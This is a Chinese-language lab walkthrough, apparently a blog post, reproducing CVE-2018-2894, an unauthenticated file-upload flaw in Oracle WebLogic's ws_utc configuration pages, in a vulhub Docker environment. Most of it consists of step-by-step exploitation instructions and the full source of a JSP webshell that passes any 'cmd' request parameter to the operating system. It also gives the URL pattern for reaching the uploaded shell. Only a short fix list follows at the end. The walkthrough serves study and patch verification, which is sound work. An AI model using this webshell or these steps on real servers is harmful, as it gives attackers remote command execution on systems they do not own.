目录
weblogic
漏洞环境准备
漏洞复现
修复建议
weblogic
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
CVE-2018-2894 该漏洞属于一个远程上传漏洞,通过更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用"添加Keystore设置"的功能,可上传恶意的JSP脚本文件,造成攻击。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;
受影响的版本:weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
漏洞环境准备
下载好vulhub
进入目录启动 weblogic 12.2.1.3
docker-compose up -d
查看端口情况
docker-compose ps
执行docker-compose logs | grep password
可查看管理员密码
管理员用户名为weblogic
密码为
B6eYMuo9
环境启动后,访问http://your-ip:7001/console
,即可看到后台登录页面。使用刚刚获得的账号密码登录
登录后台页面,点击base_domain
的配置,在“高级”中开启“启用 Web 服务测试页”选项:记得保存设置!!!要不然利用不到webshell
接下来访问http://your-ip:7001/ws_utc/config.do
,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
。我将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
漏洞复现
写一个jsp文件上传
这里我们上传一个可以利用的webshell
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
通过抓包我们可以发现返回了时间戳(我上传了两个jsp返回两个时间戳)
然后访问
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
即可执行webshell
例如返回时间戳为1673447062823 上传jsp文件名为 4.jsp
访问
http://192.168.10.142:7001/ws_utc/css/config/keystore/1673447062823_4.jsp
实验完成后记得关闭weblogic
docker-compose down
修复建议
- 升级到官方的最新版本;
- config.do,begin.do页面强制登录后才授权后访问